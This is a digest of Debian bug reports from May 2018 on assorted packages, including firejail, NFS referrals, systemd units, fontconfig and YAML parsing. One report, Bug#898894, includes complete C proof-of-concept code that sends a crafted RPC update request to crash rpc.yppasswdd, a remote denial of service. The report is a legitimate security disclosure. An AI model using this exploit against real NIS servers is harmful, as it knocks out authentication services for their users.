Bug#898890: libgit2 0.27 transition

2018-05-17 Thread Pirate Praveen

Package: golang-gopkg-libgit2-git2go.v26
Version: 0.26+git20170903.0.eb0bf21-1
Severity: important

Dear Maintainer,

libgit2 0.27 is now available in experimental. Please make sure your 
package is ready for this version by the time we upload this package to 
unstable in one to two weeks. The severity of this report will be 
raised to serious once libgit2 0.27 is uploaded to unstable.


Thanks
Praveen



Bug#876707: fixed in golang-gopkg-libgit2-git2go.v26 0.26+git20170903.0.eb0bf21-1

2018-05-17 Thread Pirate Praveen
On Sat, 03 Mar 2018 21:00:13 + Maximiliano Curia  
wrote:> We believe that the bug you reported is fixed in the latest 
version of

golang-gopkg-libgit2-git2go.v26, which is due to be installed in the Debian FTP 
archive.


I think golang-git2go package should be removed from the archive.



Bug#898891: firejail-profiles: firejail --name=... can no longer be used with the firefox profile

2018-05-17 Thread Vincent Lefevre
Package: firejail-profiles
Version: 0.9.54-1
Severity: important

With the previous profiles, I could use the following firefox script:

exec /usr/bin/firejail --name=firefox firefox-esr "$@"

and everything was fine. After starting firefox, I could open a
new URL with it and didn't get any error. For instance:

cventin:~> firefox http://localhost/
Reading profile /etc/firejail/firefox-esr.profile
Reading profile /etc/firejail/firefox.profile
Reading profile /etc/firejail/disable-common.inc
Reading profile /etc/firejail/disable-devel.inc
Reading profile /etc/firejail/disable-programs.inc
Reading profile /etc/firejail/whitelist-common.inc
Reading profile /etc/firejail/whitelist-var-common.inc
Warning: Sandbox name changed to firefox-1
Parent pid 20640, child pid 20641
Blacklist violations are logged to syslog
Child process initialized in 124.80 ms

Parent is shutting down, bye...
cventin:~>

With the new profile, the URL is still opened, but firejail now
terminates with an exit status 1. For instance:

cventin:~> firefox http://localhost/
Reading profile /etc/firejail/firefox-esr.profile
Reading profile /etc/firejail/firefox.profile
Reading profile /etc/firejail/firefox-common.profile
Reading profile /etc/firejail/disable-common.inc
Reading profile /etc/firejail/disable-devel.inc
Reading profile /etc/firejail/disable-interpreters.inc
Reading profile /etc/firejail/disable-programs.inc
Reading profile /etc/firejail/whitelist-common.inc
Reading profile /etc/firejail/whitelist-var-common.inc
Warning: Sandbox name changed to firefox-1
Parent pid 22332, child pid 22333
Warning: An abstract unix socket for session D-BUS might still be available. 
Use --net or remove unix from --protocol set.
Post-exec seccomp protector enabled
Warning fseccomp: syscall "ni_syscall" not available on this platform
Warning fseccomp: syscall "umount" not available on this platform
Seccomp list in: 
@clock,@cpu-emulation,@debug,@module,@obsolete,@raw-io,@reboot,@resources,@swap,acct,add_key,bpf,fanotify_init,io_cancel,io_destroy,io_getevents,io_setup,io_submit,ioprio_set,kcmp,keyctl,mount,name_to_handle_at,nfsservctl,ni_syscall,open_by_handle_at,personality,pivot_root,process_vm_readv,ptrace,remap_file_pages,request_key,setdomainname,sethostname,syslog,umount,umount2,userfaultfd,vhangup,vmsplice,
 check list: @default-keep, prelist: 
adjtimex,clock_adjtime,clock_settime,settimeofday,modify_ldt,lookup_dcookie,perf_event_open,process_vm_writev,delete_module,finit_module,init_module,_sysctl,afs_syscall,create_module,get_kernel_syms,getpmsg,putpmsg,query_module,security,sysfs,tuxcall,uselib,ustat,vserver,ioperm,iopl,kexec_load,kexec_file_load,reboot,set_mempolicy,migrate_pages,move_pages,mbind,swapon,swapoff,acct,add_key,bpf,fanotify_init,io_cancel,io_destroy,io_getevents,io_setup,io_submit,ioprio_set,kcmp,keyctl,mount,name_to_handle_at,nfsservctl,open_by_handle_at,personality,pivot_root,process_vm_readv,ptrace,remap_file_pages,request_key,setdomainname,sethostname,syslog,umount2,userfaultfd,vhangup,vmsplice,
Child process initialized in 149.79 ms

Parent is shutting down, bye...
zsh: exit 1 firefox http://localhost/
cventin:~[1]>

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'stable-updates'), (500, 
'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.16.0-1-amd64 (SMP w/12 CPU cores)
Locale: LANG=POSIX, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=POSIX 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages firejail-profiles depends on:
ii  firejail  0.9.54-1

firejail-profiles recommends no packages.

firejail-profiles suggests no packages.

-- no debconf information



Bug#898894: rpc.yppasswdd: remote DoS in password_ok()

2018-05-17 Thread Salvatore Bonaccorso
Source: nis
Version: 3.17.1-1
Severity: important
Tags: security

I'm forwarding this on behalf of Jimm Scott to the BTS:

cut-cut-cut-cut-cut-cut-
To rephrase the issue: rpc.yppasswdd crashes when you try to update any 
record with a password hash length of 0 or 1 character (so any account 
with just an * or x in the second field).

Code below can be used to poke these accounts and make it crash.
Usage: just try to update the password on such an account.

Kind regards,
Jimmy Scott


#include 
#include 
#include 
#include 
#include 
#include 


/* XXX BEGIN - FROM YPPASSWD.H */

struct xpasswd {
 char *pw_name;
 char *pw_passwd;
 int pw_uid;
 int pw_gid;
 char *pw_gecos;
 char *pw_dir;
 char *pw_shell;
};
typedef struct xpasswd xpasswd;

struct yppasswd {
 char *oldpass;
 xpasswd newpw;
};
typedef struct yppasswd yppasswd;

#define YPPASSWDPROG ((u_long)19)
#define YPPASSWDVERS ((u_long)1)

#define YPPASSWDPROC_UPDATE ((u_long)1)

//extern  bool_t xdr_xpasswd (XDR *, xpasswd*);
//extern  bool_t xdr_yppasswd (XDR *, yppasswd*);

/* XXX END - FROM YPPASSWD.H */


/* XXX BEGIN - FROM YPPASSWD_XDR.C */

static bool_t
xdr_passwd (XDR *xdrs, xpasswd *objp)
{
 if (!xdr_string (xdrs, &objp->pw_name, ~0))
 return FALSE;
 if (!xdr_string (xdrs, &objp->pw_passwd, ~0))
 return FALSE;
 if (!xdr_int (xdrs, &objp->pw_uid))
 return FALSE;
 if (!xdr_int (xdrs, &objp->pw_gid))
 return FALSE;
 if (!xdr_string (xdrs, &objp->pw_gecos, ~0))
 return FALSE;
 if (!xdr_string (xdrs, &objp->pw_dir, ~0))
 return FALSE;
 if (!xdr_string (xdrs, &objp->pw_shell, ~0))
 return FALSE;
 return TRUE;
}

bool_t
xdr_yppasswd (XDR *xdrs, yppasswd *objp)
{
 if (!xdr_string (xdrs, &objp->oldpass, ~0))
 return FALSE;
 if (!xdr_passwd (xdrs, &objp->newpw))
 return FALSE;
 return TRUE;
}

/* XXX END - FROM YPPASSWD_XDR.C */


void usage(char *prog) {
 printf(
 "usage: %s  "
 "   \n", prog
 );
 exit(1);
}

int main(int argc, char **argv) {
 int status;
 char *master;
 struct yppasswd yppwd;
 struct timeval TIMEOUT = {0, 0};
 CLIENT *clnt;

 // Setup prog
 if (argc != 10) usage(argv[0]);
 master = argv[1];

 // Setup RPC client
 printf("Setup RPC...\n");
 clnt = clnt_create (master, YPPASSWDPROG, YPPASSWDVERS, "udp");
 clnt->cl_auth = authunix_create_default ();

 // Prepare YPPASSWD call
 printf("Setup YPPASSWD...\n");
 memset (&yppwd, '\0', sizeof (yppwd));
 memset ((char *) &status, '\0', sizeof (status));
 yppwd.oldpass   = argv[2];
 yppwd.newpw.pw_name = argv[3];
 yppwd.newpw.pw_passwd   = argv[4];
 yppwd.newpw.pw_uid  = atoi(argv[5]);
 yppwd.newpw.pw_gid  = atoi(argv[6]);
 yppwd.newpw.pw_gecos= argv[7];
 yppwd.newpw.pw_dir  = argv[8];
 yppwd.newpw.pw_shell= argv[9];

 // Fire in the hole!!
 printf("Sending packet...\n");
 clnt_call (clnt, YPPASSWDPROC_UPDATE,
 (xdrproc_t) xdr_yppasswd, (char *) &yppwd,
 (xdrproc_t) xdr_int, (char *) &status, TIMEOUT);
}
cut-cut-cut-cut-cut-cut-

Regards,
Salvatore



Bug#890328: pdf-redact-tools

2018-05-17 Thread Loïc Dachary
Hi,

On 05/10/2018 11:13 AM, Loïc Dachary wrote:
> Hi,
> 
> Jonas Meurer suggested, in reply to the RFH for pdf-redact-tools[1], that it 
> may be a good candidate for the pkg-privacy-maintainers team.
> 
> What do you think?
> 
> [1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890328

I discovered https://salsa.debian.org/groups/pkg-privacy-team and maybe this is 
where I should ask to be included so pdf-redact-tools can be accepted? My user 
name is https://salsa.debian.org/loic

Thanks!

-- 
Loïc Dachary, Artisan Logiciel Libre



signature.asc
Description: OpenPGP digital signature


Bug#898765: nmu: eccodes_2.7.3-2

2018-05-17 Thread Gilles Filippini

On 2018-05-16 09:41, Alastair McKinstry wrote:

On 15/05/2018 18:54, Gilles Filippini wrote:


Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: binnmu

eccodes binary packages were built by the maintainer for arch amd64,
and it seems he used a GCC version different from 7.3.0 because 
building

metview on amd64 with default GCC FTBFS with:
/<>/src/libMvMacroApi/macro_api_f90.f90:23:6:

use grib_api
   1
Fatal Error: Cannot read module file 'grib_api.mod' opened at (1), 
because it was created by a different version of GNU Fortran


I did build eccodes (2.7.3-2) with gfortran 8, but I did so
deliberately to provide the compatible mod file needed to test the
ECMWF / meteo stack with gcc / g++ / gfortran 8.
metview is now (5.0.1-3) also compiled with gfortran-8 and compiles
successfully. See the changelogs / diffs for the packages
(https://salsa.debian.org/science-team/eccodes, etc)


I am rebuilding locally all HDF5 reverse dependencies against HDF5 
1.10.2

currently in experimental to check about its transition status and
metview FTBFS because of this. IMHO you should conduct such experiments
into experimental to prevent side effects into unstable / testing.

Thanks,

_g.



Bug#898857: also occurs in node-getpass, node-css, node-jsonstream, node-death ...

2018-05-17 Thread Paolo Greppi
If we are sure that this is undesirable, we should also fix it in a lot of 
other places:
http://deb.li/RcWh

Also, there should be a lintian warning to catch /usr/bin/env node.
And script-uses-deprecated-nodejs-location and 
example-script-uses-deprecated-nodejs-location lintian warnings should also be 
modified.

Paolo



Bug#898867: lintian: embedded-php-library libmarkdown-php vs. php-markdown confusion

2018-05-17 Thread Chris Lamb
tags 898867 + moreinfo
thanks

Hey Thorsten,

> Now, the 1.0 version allegedly has a feature in that it can be
> used as Wordpress plugin or something, so perhaps this situation
> is deliberate, but even so, shouldn’t the warning point to the
> newer package or even better both?

Let's await input from the markdown maintainers themselves - I have
not used these libraries.

> Considering apt-cache rdepends libmarkdown-php shows zero packages
> depending on it, perhaps the older 1.0 version can even be RM’d?

Same for this. :)

> Cc’ing GCS as libmarkdown-php maintainer.

Did you skip this? I don't see an X-Debbugs-CC…


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-



Bug#898165: Regression in [v2] nfs: Fix ugly referral attributes ?

2018-05-17 Thread Moritz Schlarb
Hi everyone,

there might be a regression coming from this patch:
Since it got included in 3.16.54, our clients running a recent 3.16
kernel (like from Debian jessie-security) did not follow NFS 4.1
referrals (issued by nfs-ganesha) anymore.
I have built that exact Debian kernel package with just this patch
reversed and it worked again, so I got pretty confident that this patch
is at least strongly related to the problem.
Pradeep also confirmed the problem happening in 3.16.54 but not in 3.16.51.
Interestingly, this does *not* happen with 4.9 kernels, although the
patch was part of 4.9.80...

I have attached a pcap file of a machine running 3.16.56-1+deb8u1 in
which I try to login as a user where my home directory is
/uni-mainz.de/homes/schlarbm (with nfsrefer.zdv.uni-mainz.de:/ on
/uni-mainz.de) which is then referred to
fs02.uni-mainz.de:/vol/ma17/homes/schlarbm but that referral is not
followed by the client.

Please let me know if you need additional information to reproduce or
have suggestions on what we could try.

Best regards,
Moritz

On 05.11.2017 21:45, Chuck Lever wrote:
> Before traversing a referral and performing a mount, the mounted-on
> directory looks strange:
> 
> dr-xr-xr-x. 2 4294967294 4294967294 0 Dec 31  1969 dir.0
> 
> nfs4_get_referral is wiping out any cached attributes with what was
> returned via GETATTR(fs_locations), but the bit mask for that
> operation does not request any file attributes.
> 
> Retrieve owner and timestamp information so that the memcpy in
> nfs4_get_referral fills in more attributes.
> 
> Changes since v1:
> - Don't request attributes that the client unconditionally replaces
> - Request only MOUNTED_ON_FILEID or FILEID attribute, not both
> - encode_fs_locations() doesn't use the third bitmask word
> 
> Fixes: 6b97fd3da1ea ("NFSv4: Follow a referral")
> Suggested-by: Pradeep Thomas 
> Signed-off-by: Chuck Lever 
> Cc: sta...@vger.kernel.org
> ---
>  fs/nfs/nfs4proc.c |   18 --
>  1 file changed, 8 insertions(+), 10 deletions(-)
> 
> I could send this as an incremental, but that just seems to piss
> off distributors, who will just squash them all together anyway.
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
> the body of a message to majord...@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c
> index 6c61e2b..2662879 100644
> --- a/fs/nfs/nfs4proc.c
> +++ b/fs/nfs/nfs4proc.c
> @@ -254,15 +254,12 @@ static int nfs4_map_errors(int err)
>  };
>  
>  const u32 nfs4_fs_locations_bitmap[3] = {
> - FATTR4_WORD0_TYPE
> - | FATTR4_WORD0_CHANGE
> + FATTR4_WORD0_CHANGE
>   | FATTR4_WORD0_SIZE
>   | FATTR4_WORD0_FSID
>   | FATTR4_WORD0_FILEID
>   | FATTR4_WORD0_FS_LOCATIONS,
> - FATTR4_WORD1_MODE
> - | FATTR4_WORD1_NUMLINKS
> - | FATTR4_WORD1_OWNER
> + FATTR4_WORD1_OWNER
>   | FATTR4_WORD1_OWNER_GROUP
>   | FATTR4_WORD1_RAWDEV
>   | FATTR4_WORD1_SPACE_USED
> @@ -6763,9 +6760,7 @@ static int _nfs4_proc_fs_locations(struct rpc_clnt 
> *client, struct inode *dir,
>  struct page *page)
>  {
>   struct nfs_server *server = NFS_SERVER(dir);
> - u32 bitmask[3] = {
> - [0] = FATTR4_WORD0_FSID | FATTR4_WORD0_FS_LOCATIONS,
> - };
> + u32 bitmask[3];
>   struct nfs4_fs_locations_arg args = {
>   .dir_fh = NFS_FH(dir),
>   .name = name,
> @@ -6784,12 +6779,15 @@ static int _nfs4_proc_fs_locations(struct rpc_clnt 
> *client, struct inode *dir,
>  
>   dprintk("%s: start\n", __func__);
>  
> + bitmask[0] = nfs4_fattr_bitmap[0] | FATTR4_WORD0_FS_LOCATIONS;
> + bitmask[1] = nfs4_fattr_bitmap[1];
> +
>   /* Ask for the fileid of the absent filesystem if mounted_on_fileid
>* is not supported */
>   if (NFS_SERVER(dir)->attr_bitmask[1] & FATTR4_WORD1_MOUNTED_ON_FILEID)
> - bitmask[1] |= FATTR4_WORD1_MOUNTED_ON_FILEID;
> + bitmask[0] &= ~FATTR4_WORD0_FILEID;
>   else
> - bitmask[0] |= FATTR4_WORD0_FILEID;
> + bitmask[1] &= ~FATTR4_WORD1_MOUNTED_ON_FILEID;
>  
>   nfs_fattr_init(&fs_locations->fattr);
>   fs_locations->server = server;
> 


nfs-referral-broken.pcap
Description: application/vnd.tcpdump.pcap
<>

signature.asc
Description: OpenPGP digital signature


Bug#898892: Please enable regex/pattern matching support in journalctl

2018-05-17 Thread Laurent Bigonville
Source: systemd
Version: 238-4
Severity: normal

Hi,

Would be nice is the regex/pattern matching support was enabled in
journalctl.

It requires libpcre2

Kind regards,

Laurent Bigonville

-- Package-specific info:

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 
'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.17.0-rc5+ (SMP w/8 CPU cores)
Locale: LANG=fr_BE.UTF-8, LC_CTYPE=fr_BE.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_BE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: SELinux: enabled - Mode: Permissive - Policy name: refpolicy

Versions of packages systemd is related to:
pn  dracut   
ii  initramfs-tools  0.130
ii  udev 238-4

-- no debconf information



Bug#898893: fontconfig-config ≥ 2.11.? should Breaks: 2.13.0-5

2018-05-17 Thread Jonathan Dowland
Package: fontconfig-config
Version: 2.13.0-5
Severity: normal

It's possible to satisfy stable's fontconfig dependency on fontconfig-config 
with sid's
version, although the config files appear to be completely incompatible. I think
fontconfig-config is lacking an appropriate Breaks: header for the versions 
either
side of the config file language change.

The consequences are a lot of fontconfig errors on stderr, and very unreadable
fonts :-)

(I ended up in this situation by upgrading fontconfig* to sid by installing 
sid's
"firefox", then later downgrading to install stable's "wine".)

-- System Information:
Debian Release: 9.4
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-debug'), (500, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-0.bpo.3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_GB:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages fontconfig-config depends on:
ii  debconf [debconf-2.0]  1.5.61
ii  fonts-dejavu-core  2.37-1
ii  fonts-liberation   1:1.07.4-2
ii  ttf-bitstream-vera 1.10-8
ii  ucf3.0036

fontconfig-config recommends no packages.

fontconfig-config suggests no packages.

-- debconf information:
  fontconfig/subpixel_rendering: Automatic
  fontconfig/hinting_type: Native
  fontconfig/enable_bitmaps: false
  fontconfig/hinting_style: hintslight



Bug#897536: mustache.js: FTBFS: make[1]: rake: Command not found

2018-05-17 Thread Pierre-Elliott Bécue
Le 17 mai 2018 10:14:41 GMT+02:00, "Martín Ferrari"  a écrit 
:
>severity 897536 important
>thanks
>
>On Mon, 14 May 2018 00:30:36 +0200 Pierre-Elliott
>=?iso-8859-1?Q?B=E9cue?=  wrote:
>
>> Indeed the rake issue is gone with the latest upload of rake.
>> 
>> Yet, [1] shows that mustache.js still FTBFS.
>
>> [1]
>https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/mustache.js.html
>
>While we should fix this, I don't think this counts as a serious bug.
>The tests fail sometimes (probably on a busy server), but that's it.
>
>I think the severity of this bug should be lowered, as this is
>threatening to remove from testing mustache.js and its reverse
>dependencies.

I have no issue with this decision.

Cheers!
-- 
PEB



Bug#875906: Hello, I am NMUing to DELAYED-15 to close this bug report

2018-05-17 Thread Sylvestre Ledru
On 16/05/2018 22:06, Nicholas D Steeves wrote:
> On Wed, May 16, 2018 at 08:55:51AM +0200, Sylvestre Ledru wrote:
>> On 15/05/2018 18:31, Georges Khaznadar wrote:
>>> The NMU shoud reach debian/unstable in two weeks. Feel free to cancel it
>>> and make other modification as you want.
>>>
>>
>> Uploaded! Many thanks!
> 
> Thank you Georges and Sylvestre :-)
> 
> WRT elpy, I've updated its packaging in git to use python3-autopep8
> and will upload after python3-autopep8 clears NEW.
Are you sure you push your changes? I don't see them.

Thanks

S




signature.asc
Description: OpenPGP digital signature


Bug#897536: mustache.js: FTBFS: make[1]: rake: Command not found

2018-05-17 Thread Martín Ferrari
severity 897536 important
thanks

On Mon, 14 May 2018 00:30:36 +0200 Pierre-Elliott
=?iso-8859-1?Q?B=E9cue?=  wrote:

> Indeed the rake issue is gone with the latest upload of rake.
> 
> Yet, [1] shows that mustache.js still FTBFS.

> [1] 
> https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/mustache.js.html

While we should fix this, I don't think this counts as a serious bug.
The tests fail sometimes (probably on a busy server), but that's it.

I think the severity of this bug should be lowered, as this is
threatening to remove from testing mustache.js and its reverse dependencies.

-- 
Martín Ferrari (Tincho)



Bug#898895: php7.0-fpm: systemd php7.0-fpm.service is missing After=remote-fs.target

2018-05-17 Thread Alexandre Derumier
Package: php7.0-fpm
Severity: normal

Dear Maintainer,

old init script have 
# Required-Start:$remote_fs $network

but systemd unit have only
After=network.target


we have have both in unit
After=network.target
After=remote-fs.target 


Currently, my /etc is a remote_fs mount point, 
and php-fpm can't start because /etc is mounted after


(This apply too on other php-fpm version (including jessie), and also nginx 
package)

-- System Information:
Debian Release: 9.4
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates')
Architecture: amd64 (x86_64)

Kernel: Linux 4.15.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)



Bug#898757: musescore: Backtrace

2018-05-17 Thread Giovanni Mascellani
Package: musescore
Version: 2.2.1+dfsg1-4
Followup-For: Bug #898757

Dear Maintainer,

Here you have a backtrace of the startup crash, which I guess is the
same of the original poster. 

Removing configuration and cache files does not seem to help.

$ gdb musescore
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from musescore...Reading symbols from 
/usr/lib/debug/.build-id/c3/aab9a5137d6ce6382a767c70058d95ee8a3e13.debug...done.
done.
(gdb) run
Starting program: /usr/bin/musescore
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffe2886700 (LWP 6571)]
[New Thread 0x7fffdef43700 (LWP 6573)]
[New Thread 0x7fffd5cf7700 (LWP 6575)]
[New Thread 0x7fffd54f6700 (LWP 6576)]
initScoreFonts 0x571306d0
[New Thread 0x7fffc3ff1700 (LWP 6578)]
[New Thread 0x7fffc37f0700 (LWP 6580)]
[New Thread 0x7fffc2748700 (LWP 6581)]

Thread 1 "musescore" received signal SIGSEGV, Segmentation fault.
0x559d2150 in Ms::Selection::Selection (this=0x7fffdac0) at 
./libmscore/select.h:122
122 ./libmscore/select.h: File o directory non esistente.
(gdb) bt
#0  0x559d2150 in Ms::Selection::Selection(Ms::Selection const&) 
(this=0x7fffdac0) at ./libmscore/select.h:122
#1  0x559d2150 in Ms::MuseScore::showPianoKeyboard(bool) 
(this=, on=) at ./mscore/musescore.cpp:3904
#2  0x559ddf25 in Ms::MuseScore::readSettings() (this=0x575df2e0) 
at ./mscore/musescore.cpp:3094
#3  0x5589adf8 in main(int, char**) (argc=, 
av=) at ./mscore/musescore.cpp:5852
(gdb) quit
A debugging session is active.

Inferior 1 [process 6556] will be killed.

Quit anyway? (y or n) y

Thanks, Giovanni.


-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (500, 'testing'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.16.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=it_IT.utf8, LC_CTYPE=it_IT.utf8 (charmap=UTF-8), 
LANGUAGE=it_IT.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages musescore depends on:
ii  desktop-file-utils   0.23-3
ii  libasound2   1.1.6-1
ii  libc62.27-3
ii  libfreetype6 2.8.1-2
ii  libgcc1  1:8.1.0-3
ii  libportaudio219.6.0-1
ii  libportmidi0 1:217-6
ii  libpulse011.1-5
ii  libqt5core5a 5.10.1+dfsg-6+b1
ii  libqt5gui5   5.10.1+dfsg-6+b1
ii  libqt5help5  5.10.1-2
ii  libqt5network5   5.10.1+dfsg-6+b1
ii  libqt5printsupport5  5.10.1+dfsg-6+b1
ii  libqt5qml5   5.10.1-4
ii  libqt5quick5 5.10.1-4
ii  libqt5sql5-sqlite5.10.1+dfsg-6+b1
ii  libqt5svg5   5.10.1-2
ii  libqt5webkit55.212.0~alpha2-9+b1
ii  libqt5widgets5   5.10.1+dfsg-6+b1
ii  libqt5xml5   5.10.1+dfsg-6+b1
ii  libqt5xmlpatterns5   5.10.1-2
ii  libsndfile1  1.0.28-4
ii  libstdc++6   8.1.0-3
ii  libvorbisfile3   1.3.6-1
ii  musescore-common 2.2.1+dfsg1-4
ii  qml-module-qtquick-controls  5.10.1-2
ii  qml-module-qtquick-dialogs   5.10.1-2
ii  qml-module-qtquick-layouts   5.10.1-4
ii  qml-module-qtquick2  5.10.1-4
ii  shared-mime-info 1.9-2
ii  xdg-utils1.1.2-2
ii  zlib1g   1:1.2.11.dfsg-1

Versions of packages musescore recommends:
ii  libmp3lame0   3.100-2+b1
ii  pulseaudio-utils  11.1-5

Versions of packages musescore suggests:
ii  fluid-soundfont-gm  3.1-5.1
pn  timgm6mb-soundfont  

-- no debconf information



Bug#898896: nginx-common: systemd nginx.service is missing After=remote-fs.target

2018-05-17 Thread Alexandre Derumier
Package: nginx-common
Version: 1.13.3-1~bpo9+1
Severity: normal

Dear Maintainer,

old init script have 
# Required-Start:$remote_fs $network

but systemd unit have only
After=network.target


we should have both in unit
After=network.target
After=remote-fs.target 


Currently, my /etc is a remote_fs mount point, 
and nginx can't start because /etc is mounted after


-- System Information:
Debian Release: 9.4
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates')
Architecture: amd64 (x86_64)

Kernel: Linux 4.15.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages nginx-common depends on:
ii  debconf [debconf-2.0]  1.5.61
ii  init-system-helpers1.48
ii  lsb-base   9.20161125

nginx-common recommends no packages.

Versions of packages nginx-common suggests:
pn  fcgiwrap   
pn  nginx-doc  
ii  ssl-cert   1.0.39

-- Configuration Files:
/etc/logrotate.d/nginx changed [not included]
/etc/nginx/fastcgi.conf changed [not included]
/etc/nginx/fastcgi_params changed [not included]
/etc/nginx/nginx.conf changed [not included]
/etc/nginx/scgi_params changed [not included]
/etc/nginx/sites-available/default changed [not included]
/etc/nginx/uwsgi_params changed [not included]

-- debconf information excluded



Bug#898897: libomp-dev: Add missing ompt.h file

2018-05-17 Thread Vincent Danjean
Package: libomp-dev
Version: 6.0-2
Severity: normal
Tags: patch

  Since a few months, OMP trace is enabled by default on supported
architechtures (at least amd64) so the current runtime provided by Debian
already includes this feature. However, for OpenMP programs to use this
feature, the ompt.h header file is required at compilation time.
  So, can you include this header in the -dev package ?

  The following small patch allows me to use OMPT in an OpenMP program:

diff --git a/debian/libomp-dev.install b/debian/libomp-dev.install
index 5c2c951..c7a93cd 100644
--- a/debian/libomp-dev.install
+++ b/debian/libomp-dev.install
@@ -1,2 +1,3 @@
 usr/include/omp.h
+usr/include/ompt.h
 usr/lib/*.so

  Regards,
   Vincent

-- System Information:
Debian Release: buster/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'oldstable-updates'), (500, 
'unstable'), (500, 'testing'), (500, 'stable'), (200, 'oldstable'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386, armel, mipsel

Kernel: Linux 4.16.0-trunk-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8), 
LANGUAGE=fr_FR.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages libomp-dev depends on:
ii  libc6   2.27-3
ii  libgcc1 1:8-20180425-1
ii  libomp5 6.0-2
ii  libstdc++6  8-20180425-1

libomp-dev recommends no packages.

Versions of packages libomp-dev suggests:
pn  libomp-doc  

-- no debconf information



Bug#898561: libmarc-transform-perl: FTBFS with libyaml-perl >= 1.25-1 (test failures)

2018-05-17 Thread Niko Tyni
On Thu, May 17, 2018 at 01:16:17AM +0300, Niko Tyni wrote:
> On Sun, May 13, 2018 at 04:52:06PM +0200, gregor herrmann wrote:
> > Source: libmarc-transform-perl
> > Version: 0.003006-2
> > Severity: serious
> > Tags: upstream buster sid
> > Justification: fails to build from source
> 
> > libmarc-transform-perl's testsuite fails, both during build and
> > autopkgtest, with libyaml-perl >= 1.25-1:
> > 
> > 
> > perl Build test --verbose 1
> > Hexadecimal number > 0x non-portable at (eval 28) line 1.
> > Number found where operator expected at (eval 29) line 8, near ""I want) 
> > {$boolcond=1;$boolcondint=1; eval{ create("605"
> > (Missing operator before 605?)
> 
> This regressed with
> 
>  
> https://github.com/ingydotnet/yaml-pm/commit/a2231746743e9bb2939c063ab440ac658c226c4e

It looks to me like this is something that needs to be fixed in
MARC::Transform. It is about YAML quoting: documents like

---
foo: bar "foobar #"

get parsed differently with the new YAML.pm than the old one.
AFAICS MARC::Transform uses the hash sign as an escape character
and relies on the old behaviour.

  # old
  % perl -MYAML=Load -le 'print Load(qq(---\nfoo: bar "foobar #"))->{foo}'
  bar "foobar #"

  # new
  % perl -MYAML=Load -le 'print Load(qq(---\nfoo: bar "foobar #"))->{foo}'
  bar "foobar

The new behaviour seems to be consistent with YAML::XS, YAML::Tiny and
yaml.py in python3.

  % perl -MYAML::XS=Load -le 'print Load(qq(---\nfoo: bar "foobar #"))->{foo}'
  bar "foobar

  % perl -MYAML::Tiny=Load -le 'print Load(qq(---\nfoo: bar "foobar #"))->{foo}'
  bar "foobar

  % python3
  Python 3.6.5 (default, Apr  1 2018, 05:46:30) 
